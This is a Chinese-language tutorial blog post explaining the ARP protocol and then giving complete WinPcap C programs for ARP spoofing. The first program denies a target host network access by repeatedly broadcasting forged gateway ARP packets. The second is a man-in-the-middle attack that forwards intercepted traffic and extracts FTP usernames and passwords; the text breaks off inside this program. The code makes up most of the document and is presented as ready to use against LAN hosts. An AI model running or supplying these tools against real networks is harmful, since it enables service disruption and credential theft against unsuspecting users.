ARP简述以及编程实现ARP欺骗攻击
——By:Wayne
一、ARP简述
我们都知道在以太网设备比如网卡都有自己全球唯一的MAC地址,它们是以MAC地址来传输以太网数据包的,但是它们却识别不了我们IP包中的IP地址,所以我们在以太网中进行IP通信的时候就需要一个协议来建立IP地址与MAC地址的对应关系,以使IP数据包能发到一个确定的地方去。这就是ARP(Address Resolution Protocol,地址解析协议)。
用过ARP欺骗攻击的人都知道对某台主机进行ARP欺骗可以有两种方法实现,一是发送ARP应答包,二是发送ARP请求包。
在向目标主机发送ARP应答包时,目标主机不会检查自己曾是否发送过ARP请求,而会直接根据接收到的ARP应答包中的内容修改本机的ARP缓存表。
广播ARP请求时,只要是接收到此ARP请求包的主机也不会检查此ARP请求包是否在请求自己的MAC,而会根据请求包中的发送方MAC和发送方IP来修改本地的ARP缓存表,这一机制虽然减少了网络流量,但是也造成了安全问题。
下面我们来看一下ARP包的格式:
从网络底层看来,一个ARP包是分为两个部分的,前面一个是以太网头,它存在于任何一个协议数据包的前面,其主要内容为收发双方的物理地址,以便硬件设备识别,后面一个是ARP帧。
二、填充ARP包
1.ARP应答包
想必在ARP欺骗攻击中,大家最常用的就是发送ARP应答包了,目标设备会根据ARP应答包中伪造的发送方MAC和发送方IP两个字段来修改自己的ARP动态缓存表。那么我们就来看一下ARP应答包是如何构造的,并尝试自己伪造一个ARP应答包。
首先填充以太网头部,接收方MAC自然是目标的MAC地址了,发送方MAC不一定就非要填自己的MAC,比如在ARP断网攻击中,发送方MAC是可以随意伪造的。帧类型自然填充的是ARP帧的值0x0806,若是IP帧则此处应填充0x0800。
接下来填充ARP帧,由于我们要构造的是ARP应答包,所以在ARP包类型字段中应填充的值是0x2,若要构造请求包,则此处填充的值为0x1。其中发送方MAC和接收方MAC和以太网头中填充的值是一样的。
最后给出一个利用ARP应答包欺骗的例子,比如A和B主机处于同一网关下:
A主机MAC:aaaaaaaaaaaa,IP:192.168.0.2
B主机MAC:bbbbbbbbbbbb,IP:192.168.0.3
网关MAC:xxxxxxxxxxxx,IP:192.168.0.1
若A主机想冒充网关,让B主机发送给网关的数据发送至自己,那么A主机可以向B主机发送如下的ARP应答包:
如果B主机接收到了这样的ARP应答包,则会获取ARP帧中的“发送方MAC”和“发送方IP”,并将其更新到ARP缓存表中,这样原本是192.168.0.1–xxxxxxxxxxxx的对应表就被修改为了这样:192.168.0.1–aaaaaaaaaaaa。这样当B主机要向网关发送数据时,因为缓存表中错误的对应关系,会导致B的数据被发送到A主机上。
2.ARP请求包
ARP请求包和应答包的构造很相似,但需要修改三处字段值,以太网头部中的“接收方MAC” 应填充ffffffffffff(表示要给全网发送广播),ARP帧中的“ARP包类型”自然应当填充0x1,表示此ARP包是请求包,“接收方MAC”用0x00填充就可。
此处再列出一个例子,比如在一网段中,有若干主机,如:
网关MAC:xxxxxxxxxxx,IP:192.168.0.1
A主机MAC:aaaaaaaaaaaa,IP:192.168.0.2
B主机MAC:bbbbbbbbbbbb,IP:192.168.0.3
C主机:…….
……
…
如果A主机想冒充网关,让全网主机发送给网关的数据都发送至自己,则可以广播如下ARP请求包:
此请求包的作用是请求IP为:192.168.0.3的主机将自己的IP和MAC发送到MAC为aaaaaaaaaaaa的主机上,每个收到此请求包的主机都会验证自己的IP是否为192.168.0.3,若是则发送一个包含自己MAC地址的ARP应答包给主机aaaaaaaaaaaa,从上面的例子可以看出,只有B主机符合,所以B主机会发送一个应答包给A主机,与此同时,B主机也会通过这个请求包修改本地缓存表的对应关系,使得192.168.0.1和aaaaaaaaaaaa相对应。虽然是只有B主机向A主机发送了请求包,但是由于全网主机都接收到了此ARP请求包,所以都会根据ARP帧中的数据修改自己的ARP缓存表,比如你可以在C主机中发现,缓存表也被修改为了此对应关系:192.168.0.1–aaaaaaaaaaaa。
三、编程实现ARP欺骗攻击
本程序用C语言实现,利用winpacp实现发送自定义的ARP包,以达到ARP欺骗的目的。首先从http://www.winpcap.org/archive/下载4.1beta5_WpdPack.zip和4.1beta5_WinPcap.exe。
安装完4.1beta5_WinPcap.exe后将4.1beta5_WpdPack.zip解压缩。然后在你的IDE中添加头文件和库文件的include路径。比如我用的是Code::Blocks,则做如下设置:
(1)Settings->Complier->Search directories->Compiler->Add->(选择你
将4.1beta5_WpdPack.zip解压后Include的目录路径)
(2)Settings->Complier->Linker settings->Add->(添加
..\4.1beta5_WpdPack\WpdPack\Lib\libwpcap.a)
(3)(2)Settings->Complier->Linker settings->Add->(添加
(Code::Blocks安装路径)\CodeBlocks\MinGW\lib\libiphlpapi.a)
(4)(2)Settings->Complier->Linker settings->Add->(添加
(Code::Blocks安装路径)\CodeBlocks\MinGW\lib\libws2_32.a)
1.ARP断网攻击
做完了准备工作我们就可以进行ARP欺骗编程了。在此次断网攻击的实现过程中,我们要用的函数有:
(1)
int pcap_findalldevs(pcap_if_t **, char *)
说明:用来获得网卡的列表
参数: 指向pcap_if_t**类型的列表的指针的指针; char型指针,当打开列表错误时返回错误信息
返回值: 为int型,当显示列表失败时返回-1
(2)
pcap_t *pcap_open_live(const char * device, int snaplen, int promisc, int to_ms, char ebuf *)
说明:用来打开一个网卡获取其描述符
参数:
device是一个指出要抓取的网络设备的字符串。
snaplen指明最大可抓取的字节长度。
promisc置位表明该接口要被设置成混杂模式。
to_ms以毫秒为单位设置超时时间。当在超时时间内网卡上没有数据到来时对网卡的读操作将返回(如 pcap_dispatch() or pcap_next_ex()等函数)。
ebuf被用来存放当pcap_open_live()调用失败时,返回的错误字符串。
返回值: pcap_t型的指针,供pcap_dispatch() or pcap_next_ex()等函数调用。
(3)
int pcap_sendpacket(pcap_t *p, u_char *buf, int size)
说明:手工发送一个数据包了。这个函数需要的参数:一个装有要发送数据的缓冲区,要发送的长度,和一个适配器。注意缓冲区中的数据将不被内核协议处理,只是作为最原始的数据流被发送,所以我门必须填充好正确的协议头以便正确的将数据发送。
参数:
p是打开网卡时返回的网卡指针
buf是发送数据包的内容缓冲区首地址
size是发送数据包的大小
接下来给出程序的流程图:
由此可见,程序并不是很复杂,对于只实现ARP断网攻击这种单一的功能,代码量还是相对比较少的。
填充数据包是此次攻击实现中一个很重要的环节,所以我们要先将数据包的结构在程序中表现出来,我们用结构体来定义数据包的整个结构,如图:
根据程序流程图我们可知,首先要列出本机所有网卡,用代码实现:
char *iptos(u_long in)
{
static char output[12][3*4+3+1];
static short which;
u_char *p;
p = (u_char *)∈
which = (which + 1 == 12 ? 0 : which + 1);
sprintf(output[which], “%d.%d.%d.%d”, p[0], p[1], p[2], p[3]);
return output[which];
}
BOOL ChooseDev(char *devbuff,int buffsize,char *ipbuff)
{
/*
*devbuff 指向将要储存选择的网卡名的缓冲区
Buffsize 该缓冲区大小
*ipbuff 指向将储存选择的网卡IP的缓冲区
*/
pcap_if_t *alldevs=NULL,*p=NULL;
char errbuff[PCAP_ERRBUF_SIZE];
int i,choose;
pcap_addr_t *a=NULL;
memset(devbuff,NULL,buffsize);
if(pcap_findalldevs(&alldevs,errbuff)==-1)
return ERROR;
for(p=alldevs,i=0; p; p=p->next)
{
printf(“%d.%s(%s)\n”,++i,p->name,p->description);
if((a=p->addresses))
{
switch(a->addr->sa_family)
{
case AF_INET:
printf(“Address Family Name: AF_INET\n”);
if (a->addr)
/* Y- IP 地址 */
printf(“Address: %s\n”,iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
if (a->netmask)
/* Y- 掩码 */
printf(“Netmask: %s\n”,iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
break;
default:
/* 未知 */
printf(“Address Family Name: Unknown\n”);
break;
}
}
printf(“——————————————————\n”);
}
do
{
printf(“请选择一个网卡:”);
fflush(stdin);
}
while(scanf(“%d”,&choose)!=1 || choose<1 ||choose>i);
for(p=alldevs,i=1; i!=choose; p=p->next,i++);
strcat(devbuff,p->name);
memset(ipbuff,NULL,15);
a=p->addresses;
strcat(ipbuff,iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
pcap_freealldevs(alldevs);
return TRUE;
}
列出本机所有网卡后,自然要打开我们选择的网卡,获取其描述字,以供程序后续使用:
pcap_t *OpenAdapter(char *devName)
{
//传入网卡名,返回此网卡描述字。
pcap_t *hpcap=NULL;
char errbuf[PCAP_ERRBUF_SIZE];
if((hpcap=pcap_open_live(devName, // 设备名
65536, // 指定要捕捉的数据包的部分,65536 保证所有在链路层上的包都能够被抓到
1, // 混杂模式
1000, // 读数据的超时时间
errbuf // 错误缓冲区
))==NULL)
{
printf(“打开网卡出错。\n”);
return NULL;
}
return hpcap;
}
接下来就到了最重要的一步,填充ARP数据包:
void Fill_ARPPACKET(char *ARPPacket,int packetsize,char *desmac,char *desIP,char *srcmac,char *srcip,int op)
{
/*
*ARPPacket 指向将要填充的数据包指针
packetsize 数据包大小
*desmac 指向存有目标MAC的缓冲区地址
*desIP 指向存有目标IP的缓冲区地址
*srcmac 指向存有来源MAC的缓冲区地址
*srcip 指向存有来源IP的缓冲区地址
op ARP包类型
*/
DLCHEADER *DLCHeader=(DLCHEADER *)ARPPacket;
ARPFRAME *ARPFrame=(ARPFRAME *)(ARPPacket+sizeof(DLCHEADER));
memset(ARPPacket,NULL,packetsize); //清空包内容
//填充以太网目的地址
if(op==1) //表示ARP请求包.
{
memset(DLCHeader->DesMAC,0xff,6); //用ffffffffffff填充以太网头目的MAC地址。
memset(ARPFrame->Targ_Prot_Addr,NULL,4);
memset(ARPFrame->Targ_HW_Addr,NULL,6);
}
else
{
memcpy(DLCHeader->DesMAC,desmac,6);
memcpy(ARPFrame->Targ_Prot_Addr,desIP,4);
memcpy(ARPFrame->Targ_HW_Addr,DLCHeader->DesMAC,6);
}
//填充以太网源地址
memcpy(DLCHeader->SrcMAC,srcmac,6);
memcpy(ARPFrame->Send_HW_Addr,srcmac,6);
//填充ARP包源IP
memcpy(ARPFrame->Send_Prot_Addr,srcip,4);
DLCHeader->EtherType=htons((unsigned short)0x0806); //0x0806表示ARP协议,0x0800表示IP协议
ARPFrame->HW_Addr_Len=(unsigned char)6;
ARPFrame->Prot_Addr_Len=(unsigned char)4;
ARPFrame->HW_Type=htons((unsigned short)1);
ARPFrame->Opcode=htons((unsigned short)op); //01表示请求,02表示应答
ARPFrame->Prot_Type=htons((unsigned short)0x0800);
}
最后我们将填充好的ARP包发送出去就形成了一次ARP欺骗攻击了:
BOOL SendPacket(pcap_t *hpcap,char *Packet,int packetsize)
{
/*
*hpcap 网卡描述字
*Packet 指向数据包的指针
Packetsize 数据包大小
*/
if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)
{
printf(“数据包发送失败。\n”);
return ERROR;
}
return TRUE;
}
最后写出完整的代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <pcap.h>
#include <conio.h>
#include <winsock2.h>
#include <iphlpapi.h>
#pragma comment(lib,”ws2_32.lib”)
#pragma comment(lib,”Iphlpapi.lib”)
#pragma comment(lib,”pcap.lib”)
typedef struct DLC_Header
{
unsigned char DesMAC[6]; //以太网目的地址
unsigned char SrcMAC[6]; //以太网源地址
unsigned short EtherType; //帧类型
} DLCHEADER;
typedef struct ARP_Frame
{
unsigned short HW_Type; //硬件类型
unsigned short Prot_Type; //上层协议类型
unsigned char HW_Addr_Len; //MAC地址长度
unsigned char Prot_Addr_Len; //IP地址长度
unsigned short Opcode; //操作码,01表示请求,02表示应答
unsigned char Send_HW_Addr[6]; //发送端MAC地址
unsigned char Send_Prot_Addr[4]; //发送端IP地址
unsigned char Targ_HW_Addr[6]; //目标MAC地址
unsigned char Targ_Prot_Addr[4]; //目标IP地址
} ARPFRAME;
BOOL GetAdapterMAC(char *ipbuff,char *macbuff)
{
//获取网卡MAC
IP_ADAPTER_INFO AdapterInfo[16]; //定义存储网卡信息的结构数组
DWORD ArrayLength=sizeof(AdapterInfo); //缓冲区长度
if(GetAdaptersInfo(AdapterInfo,&ArrayLength)!=ERROR_SUCCESS)
return ERROR;
PIP_ADAPTER_INFO PAdapterInfo=AdapterInfo;
do
{
if(!strcmp(ipbuff,PAdapterInfo->IpAddressList.IpAddress.String)) break;
PAdapterInfo=PAdapterInfo->Next;
}
while(PAdapterInfo);
memset(macbuff,NULL,6);
memcpy(macbuff,PAdapterInfo->Address,6); //获取网卡MAC地址
return TRUE;
}
char *iptos(u_long in)
{
static char output[12][3*4+3+1];
static short which;
u_char *p;
p = (u_char *)∈
which = (which + 1 == 12 ? 0 : which + 1);
sprintf(output[which], “%d.%d.%d.%d”, p[0], p[1], p[2], p[3]);
return output[which];
}
BOOL ChooseDev(char *devbuff,int buffsize,char *ipbuff)
{
pcap_if_t *alldevs=NULL,*p=NULL;
char errbuff[PCAP_ERRBUF_SIZE];
int i,choose;
pcap_addr_t *a=NULL;
memset(devbuff,NULL,buffsize);
if(pcap_findalldevs(&alldevs,errbuff)==-1)
return ERROR;
for(p=alldevs,i=0; p; p=p->next)
{
printf(“%d.%s(%s)\n”,++i,p->name,p->description);
if((a=p->addresses))
{
switch(a->addr->sa_family)
{
case AF_INET:
printf(“Address Family Name: AF_INET\n”);
if (a->addr)
/* Y- IP 地址 */
printf(“Address: %s\n”,iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
if (a->netmask)
/* Y- 掩码 */
printf(“Netmask: %s\n”,iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
break;
default:
/* 未知 */
printf(“Address Family Name: Unknown\n”);
break;
}
}
printf(“——————————————————\n”);
}
do
{
printf(“请选择一个网卡:”);
fflush(stdin);
}
while(scanf(“%d”,&choose)!=1 || choose<1 ||choose>i);
for(p=alldevs,i=1; i!=choose; p=p->next,i++);
strcat(devbuff,p->name);
memset(ipbuff,NULL,15);
a=p->addresses;
strcat(ipbuff,iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
pcap_freealldevs(alldevs);
return TRUE;
}
void Fill_ARPPACKET(char *ARPPacket,int packetsize,char *desmac,char *desIP,char *srcmac,char *srcip,int op)
{
/*
*ARPPacket 指向将要填充的数据包指针
packetsize 数据包大小
*desmac 指向存有目标MAC的缓冲区地址
*desIP 指向存有目标IP的缓冲区地址
*srcmac 指向存有来源MAC的缓冲区地址
*srcip 指向存有来源IP的缓冲区地址
op ARP包类型
*/
DLCHEADER *DLCHeader=(DLCHEADER *)ARPPacket;
ARPFRAME *ARPFrame=(ARPFRAME *)(ARPPacket+sizeof(DLCHEADER));
memset(ARPPacket,NULL,packetsize); //清空包内容
//填充以太网目的地址
if(op==1) //表示ARP请求包.
{
memset(DLCHeader->DesMAC,0xff,6); //用ffffffffffff填充以太网头目的MAC地址。
memset(ARPFrame->Targ_Prot_Addr,NULL,4);
memset(ARPFrame->Targ_HW_Addr,NULL,6);
}
else
{
memcpy(DLCHeader->DesMAC,desmac,6);
memcpy(ARPFrame->Targ_Prot_Addr,desIP,4);
memcpy(ARPFrame->Targ_HW_Addr,DLCHeader->DesMAC,6);
}
//填充以太网源地址
memcpy(DLCHeader->SrcMAC,srcmac,6);
memcpy(ARPFrame->Send_HW_Addr,srcmac,6);
//填充ARP包源IP
memcpy(ARPFrame->Send_Prot_Addr,srcip,4);
DLCHeader->EtherType=htons((unsigned short)0x0806); //0x0806表示ARP协议,0x0800表示IP协议
ARPFrame->HW_Addr_Len=(unsigned char)6;
ARPFrame->Prot_Addr_Len=(unsigned char)4;
ARPFrame->HW_Type=htons((unsigned short)1);
ARPFrame->Opcode=htons((unsigned short)op); //01表示请求,02表示应答
ARPFrame->Prot_Type=htons((unsigned short)0x0800);
}
BOOL SendPacket(pcap_t *hpcap,char *Packet,int packetsize)
{
if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)
{
printf(“数据包发送失败。\n”);
return ERROR;
}
return TRUE;
}
pcap_t *OpenAdapter(char *devName)
{
pcap_t *hpcap=NULL;
char errbuf[PCAP_ERRBUF_SIZE];
if((hpcap=pcap_open_live(devName, // 设备名
65536, // 指定要捕捉的数据包的部分,65536 保证所有在链路层上的包都能够被抓到
1, // 混杂模式
1000, // 读数据的超时时间
errbuf // 错误缓冲区
))==NULL)
{
printf(“打开网卡出错。\n”);
return NULL;
}
return hpcap;
}
//A>>>>>单向欺骗>>>>>>B
void Input(char *Gateway_IP)
{
printf(“请输入网关IP:”);
fflush(stdin);
if(scanf(“%d.%d.%d.%d”,&Gateway_IP[0],&Gateway_IP[1],&Gateway_IP[2],&Gateway_IP[3])!=4) exit(-1);
return;
}
int main(int argc,char *argv[])
{
int n=0;
char devName[100];
char myIPAddress[15],myMAC[6];
char ARPPacket[42];
char Gateway_IP[16];
pcap_t *hpcap=NULL;
if(ChooseDev(devName,sizeof(devName),myIPAddress)!=TRUE)
{
printf(“获取网卡失败。\n”);
getch();
return -1;
}
//获取本机网卡MAC
if(GetAdapterMAC(myIPAddress,myMAC)!=TRUE)
{
printf(“获取网卡MAC失败。\n”);
getch();
return -1;
}
//打开网卡
if((hpcap=OpenAdapter(devName))==NULL)
{
printf(“网卡打开出错。\n”);
getch();
return -1;
}
//输入网关信息
Input(Gateway_IP);
//以ARP请求的方式欺骗主机A
Fill_ARPPACKET(ARPPacket,sizeof(ARPPacket),NULL,NULL,myMAC,Gateway_IP,1);
while(1)
{
SendPacket(hpcap,ARPPacket,sizeof(ARPPacket));
printf(“已发送%d个数据包。\r”,++n);
Sleep(3000);
}
return 0;
}
运行界面如图所示:
现在来做一个实验,本机A(IP:192.168.0.100;MAC:00-26-c7-3d-3a-4a),在同一网关(IP:192.168.0.1;MAC:c8-3a-35-39-38-b0)下,还有另一台主机B(IP:192.168.0.101;MAC:00-0c-29-06-8c-51),现在我们想让B发送至网关的数据发送到自己主机,那么我们就向其发送ARP伪造包,来伪造网关地址。如图:
由于此程序是通过发送ARP请求包达到欺骗目的,所以我们不必考虑接收方MAC地址和IP,只需要知道网关IP。
在B主机上我们用科来网络分析系统来抓取一下链路层的数据包看看:
可见,此时B主机不断的收到了ARP广播请求,我们打开其中一个来看看具体内容:
由此可见,在以太网头部中,源地址是A主机的MAC地址。ARP头中,源IP地址是网关IP,但是源物理地址却是A主机的MAC地址,这样就形成了一个错误的对应关系,使得B主机的ARP缓存表被修改成了:
这样由B主机向网关发送的数据就错误的发送到了A主机上。但是我们在A主机上并没有提供数据包转发功能,所以此时B表现为断网。
2.中间人攻击+嗅探
想必大家对于这种攻击方式已经了若指掌了,这可谓是内网渗透中的一大杀手锏,对于它的攻击手法和原理在这里就不再赘述,我们直接来学习一下如何编程实现这种攻击。
在此之前我们先来看看一个完整的以太网帧结构是什么样的。
对于以太网帧结构大家应该有些熟悉,前面在讲到ARP包的构造时也就是这种结构,不过少了前导符和FCS,所谓前导符,其作用就是提醒接收系统有帧的到来。FCS又名“帧检验序列”,用来检测帧在传输的过程中是否被破坏,有兴趣的朋友可以在网上看看详细介绍。
大家还记得前面我们所说的如何定义一个数据包的类型吗?就是在以太网头部中的“帧类型”字段来定义,也就是上图“类型”这一字段,该字段用于标识数据字段中包含的高层协议,也就是说,该字段告诉接收设备如何解释数据字段,例如:0X0800代表为IP,0X0806代表为ARP。我们在实际的中间人攻击中,若想嗅探欺骗过来的数据包,就应该用相应的协议解析,通常的,比如我们要嗅探FTP账号和密码,而FTP又属于TCP/IP协议簇,那么我们就应当在我们捕获的数据包中筛选出TCP/IP协议的数据包,然后用相应的格式解析“数据”这一字段。先来看看一个IP数据包的结构是什么样的。
MAC Header自然是我们已经熟悉的以太网头,IP Header是IP头,后面那个根据协议的不同而不同,TCP或UDP头,最后Data那一字段才是我们真正关注的,比如FTP密码就存放在那里面。
了解完IP数据包的结构我们再来看看IP和TCP头的结构:
图中表明的很详细,由于篇幅关系这里就不再解释了,有兴趣的朋友可以在网上翻翻资料。现在我们来看看如何将IP头和TCP头在程序里表达出来,还是用结构体定义:
结构体定义好了,在程序中做的事就是当捕获到一个数据包后我们就用相应的结构体将数据包中的数据解析出来。
接下来我们就要尝试用编程实现了,如果对于前面ARP断网攻击的编程已经可以实现了,那么对于这个也就可以轻松掌握。在这个程序里,我们多用了一个winpcap抓包的函数:
int pcap_next_ex(pcap_t *p, struct pcap_pkthdr **pkt_header, u_char **pkt_data);
说明:捕获数据包。pcap_next_ex()允许直接调用来接收包,它的参数有一个网卡描述符,和两个指针,这两个指针会被初始化并返回给用户,一个是pcap_pkthdr结构,另一个是接收数据的缓冲区。
参数:
p是由pcap_open_live()返回的所打开网卡的指针
pcap_pkthdr型的结构体,存储时间,包的长度
pkt_data存储数据包的内容,为一个char型数组
既然有了可以抓取链路层数据包的函数,那么比起前面那个ARP断网攻击的程序来说,这个程序只要将欺骗过来的数据包再转发给网关,那么目标主机也就不会断网了,而目标主机发送给网关的数据包我们也可以清楚的看到。
首先我们要嗅探流经本机的数据包,代码如下:
这里用一个死循环不间断的捕获数据包,将捕获的数据包传递到一个新创建的线程中去处理,因为缓冲区中的数据包稍纵即逝,若等我们分析完一个捕获的数据包后再捕获另一个,有可能会错过一些数据包。
接下来我们来看看如何将欺骗过来的数据包转发出去,并且获取其中的内容:
如图,当程序捕获到一个数据包时,先要检查以太网头中目的MAC地址是否是本机地址,并且源地址是否是被欺骗的目标主机,若两项都成立,那么就表明这个数据包是被欺骗过来的。那么我们自然就要修改以太网头中的目的MAC(比如修改成网关地址),然后将此数据包转发出去,接下来检查帧类型,若值为0x0800说明此数据包包含的高层协议是IP,那么我们自然要用IP头结构来解析高层协议数据,然后再检测一下IP头中包含的上层协议是不是TCP,若是则用TCP头解析数据包中包含的TCP信息,若发现TCP连接中的目的端口是21,则表明可能是FTP服务器,那么我们就对此数据包中的内容进行筛选,调用了FTP_Sniffer函数,否则将数据包丢弃。
最后给出完整的程序代码,由于前面那个ARP断网攻击我们是伪造ARP请求包实现的,那么这个我们就用ARP应答包实现欺骗吧,只不过是修改了ARP包中的三处字段值而已:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <pcap.h>
#include <conio.h>
#include <winsock2.h>
#include <iphlpapi.h>
#pragma comment(lib,”ws2_32.lib”)
#pragma comment(lib,”Iphlpapi.lib”)
#pragma comment(lib,”pcap.lib”)
typedef struct DLC_Header
{
unsigned char DesMAC[6]; //以太网目的地址
unsigned char SrcMAC[6]; //以太网源地址
unsigned short EtherType; //帧类型
} DLCHEADER;
typedef struct ARP_Frame
{
unsigned short HW_Type; //硬件类型
unsigned short Prot_Type; //上层协议类型
unsigned char HW_Addr_Len; //MAC地址长度
unsigned char Prot_Addr_Len; //IP地址长度
unsigned short Opcode; //操作码,01表示请求,02表示应答
unsigned char Send_HW_Addr[6]; //发送端MAC地址
unsigned char Send_Prot_Addr[4]; //发送端IP地址
unsigned char Targ_HW_Addr[6]; //目标MAC地址
unsigned char Targ_Prot_Addr[4]; //目标IP地址
} ARPFRAME;
typedef struct ipheader
{
unsigned char ip_hl:4; /*header length(报头长度)*/
unsigned char ip_v:4; /*version(版本)*/
unsigned char ip_tos; /*type os service服务类型*/
unsigned short int ip_len; /*total length (总长度)*/
unsigned short int ip_id; /*identification (标识符)*/
unsigned short int ip_off; /*fragment offset field(段移位域)*/
unsigned char ip_ttl; /*time to live (生存时间)*/
unsigned char ip_p; /*protocol(协议)*/
unsigned short int ip_sum; /*checksum(校验和)*/
unsigned char ip_src[4]; /*source address(源地址)*/
unsigned char ip_dst[4]; /*destination address(目的地址)*/
} IP;
typedef struct tcpheader
{
unsigned short int sport; /*source port (源端口号)*/
unsigned short int dport; /*destination port(目的端口号)*/
unsigned int th_seq; /*sequence number(包的序列号)*/
unsigned int th_ack; /*acknowledgement number(确认应答号)*/
unsigned char th_x:4; /*unused(未使用)*/
unsigned char th_off:4; /*data offset(数据偏移量)*/
unsigned char Flags; /*标志全*/
unsigned short int th_win; /*windows(窗口)*/
unsigned short int th_sum; /*checksum(校验和)*/
unsigned short int th_urp; /*urgent pointer(紧急指针)*/
} TCP;
typedef struct
{
pcap_t *hpcap; //网卡描述字
unsigned char myIP[4]; //本机IP
unsigned char myMAC[6]; //本机MAC
unsigned char srcIP[4]; //来源IP
unsigned char srcMAC[6]; //源MAC
unsigned char desMAC[6]; //目标MAC
unsigned char desIP[4]; //目标IP
char **Packet; //数据包指针
struct pcap_pkthdr pkthdr; //储存数据包大小
} PacketInfo;
BOOL GetAdapterMAC(char *ipbuff,char *macbuff)
{
IP_ADAPTER_INFO AdapterInfo[16]; //定义存储网卡信息的结构数组
DWORD ArrayLength=sizeof(AdapterInfo); //缓冲区长度
if(GetAdaptersInfo(AdapterInfo,&ArrayLength)!=ERROR_SUCCESS)
return ERROR;
PIP_ADAPTER_INFO PAdapterInfo=AdapterInfo;
do
{
if(!strcmp(ipbuff,PAdapterInfo->IpAddressList.IpAddress.String)) break;
PAdapterInfo=PAdapterInfo->Next;
}
while(PAdapterInfo);
memset(macbuff,NULL,6);
memcpy(macbuff,PAdapterInfo->Address,6); //获取网卡MAC地址
return TRUE;
}
char *iptos(u_long in)
{
static char output[12][3*4+3+1];
static short which;
u_char *p;
p = (u_char *)∈
which = (which + 1 == 12 ? 0 : which + 1);
sprintf(output[which], “%d.%d.%d.%d”, p[0], p[1], p[2], p[3]);
return output[which];
}
BOOL ChooseDev(char *devbuff,int buffsize,char *ipbuff)
{
pcap_if_t *alldevs=NULL,*p=NULL;
char errbuff[PCAP_ERRBUF_SIZE];
int i,choose;
pcap_addr_t *a=NULL;
memset(devbuff,NULL,buffsize);
if(pcap_findalldevs(&alldevs,errbuff)==-1)
return ERROR;
for(p=alldevs,i=0; p; p=p->next)
{
printf(“%d.%s(%s)\n”,++i,p->name,p->description);
if((a=p->addresses))
{
switch(a->addr->sa_family)
{
case AF_INET:
printf(“Address Family Name: AF_INET\n”);
if (a->addr)
/* Y- IP 地址 */
printf(“Address: %s\n”,iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
if (a->netmask)
/* Y- 掩码 */
printf(“Netmask: %s\n”,iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
break;
default:
/* 未知 */
printf(“Address Family Name: Unknown\n”);
break;
}
}
printf(“——————————————————\n”);
}
do
{
printf(“请选择一个网卡:”);
fflush(stdin);
}
while(scanf(“%d”,&choose)!=1 || choose<1 ||choose>i);
for(p=alldevs,i=1; i!=choose; p=p->next,i++);
strcat(devbuff,p->name);
memset(ipbuff,NULL,15);
a=p->addresses;
strcat(ipbuff,iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
pcap_freealldevs(alldevs);
return TRUE;
}
void Fill_ARPPACKET(char *ARPPacket,int packetsize,char *desmac,char *desIP,char *srcmac,char *srcip,int op)
{
/*
*ARPPacket 指向将要填充的数据包指针
packetsize 数据包大小
*desmac 指向存有目标MAC的缓冲区地址
*desIP 指向存有目标IP的缓冲区地址
*srcmac 指向存有来源MAC的缓冲区地址
*srcip 指向存有来源IP的缓冲区地址
op ARP包类型
*/
DLCHEADER *DLCHeader=(DLCHEADER *)ARPPacket;
ARPFRAME *ARPFrame=(ARPFRAME *)(ARPPacket+sizeof(DLCHEADER));
memset(ARPPacket,NULL,packetsize); //清空包内容
//填充以太网目的地址
if(op==1) //表示ARP请求包.
{
memset(DLCHeader->DesMAC,0xff,6); //用ffffffffffff填充以太网头目的MAC地址。
memset(ARPFrame->Targ_Prot_Addr,NULL,4);
memset(ARPFrame->Targ_HW_Addr,NULL,6);
}
else
{
memcpy(DLCHeader->DesMAC,desmac,6);
memcpy(ARPFrame->Targ_Prot_Addr,desIP,4);
memcpy(ARPFrame->Targ_HW_Addr,DLCHeader->DesMAC,6);
}
//填充以太网源地址
memcpy(DLCHeader->SrcMAC,srcmac,6);
memcpy(ARPFrame->Send_HW_Addr,srcmac,6);
//填充ARP包源IP
memcpy(ARPFrame->Send_Prot_Addr,srcip,4);
DLCHeader->EtherType=htons((unsigned short)0x0806); //0x0806表示ARP协议,0x0800表示IP协议
ARPFrame->HW_Addr_Len=(unsigned char)6;
ARPFrame->Prot_Addr_Len=(unsigned char)4;
ARPFrame->HW_Type=htons((unsigned short)1);
ARPFrame->Opcode=htons((unsigned short)op); //01表示请求,02表示应答
ARPFrame->Prot_Type=htons((unsigned short)0x0800);
}
typedef struct
{
//存放嗅探到的数据
char srcip[16];
char desip[16];
char username[50];
char password[50];
} Sniffer_Result;
void FTP_Sniffer(char *Packet,int packetsize)
{
static Sniffer_Result result= {0};
IP *IPHeader=(IP *)Packet;
TCP *TCPHeader=(TCP *)(Packet+sizeof(IP));
char *data=(char *)(Packet+sizeof(IP)+sizeof(TCP));
Packet[packetsize-2]=NULL;
char *p=NULL;
if(strlen(data)>4 && (p=strstr(data,”USER”)))
{
if(strlen(result.username)<1)
{
strcat(result.srcip,inet_ntoa(*(struct in_addr *)IPHeader->ip_src));
strcat(result.desip,inet_ntoa(*(struct in_addr *)IPHeader->ip_dst));
strcat(result.username,p+5);
}
}
if(strlen(data)>4 && (p=strstr(data,”PASS”)))
{
if(strlen(result.username)>0)
{
strcat(result.password,p+5);
printf(“FTP:\n来源地址:%s\n目标地址:%s\nUSER:%s\nPASS:%s\n”,result.srcip,result.desip,\
result.username,result.password);
printf(“——————————————————–\n”);
}
memset(&result,NULL,sizeof(Sniffer_Result));
}
return;
}
DWORD WINAPI filter(PVOID Parameter)
{
BOOL SendPacket(pcap_t *hpcap,char *Packet,int packetsize);
PacketInfo PI=*(PacketInfo *)Parameter;
char *Packet=NULL;
if((Packet=(char *)malloc(PI.pkthdr.caplen*sizeof(char)))==NULL) return -1;
memcpy(Packet,*PI.Packet,PI.pkthdr.caplen);
*PI.Packet=NULL;
DLCHEADER *DLCHeader=NULL;
IP *IPHeader=NULL;
TCP *TCPHeader=NULL;
DLCHeader=(DLCHEADER *)Packet;
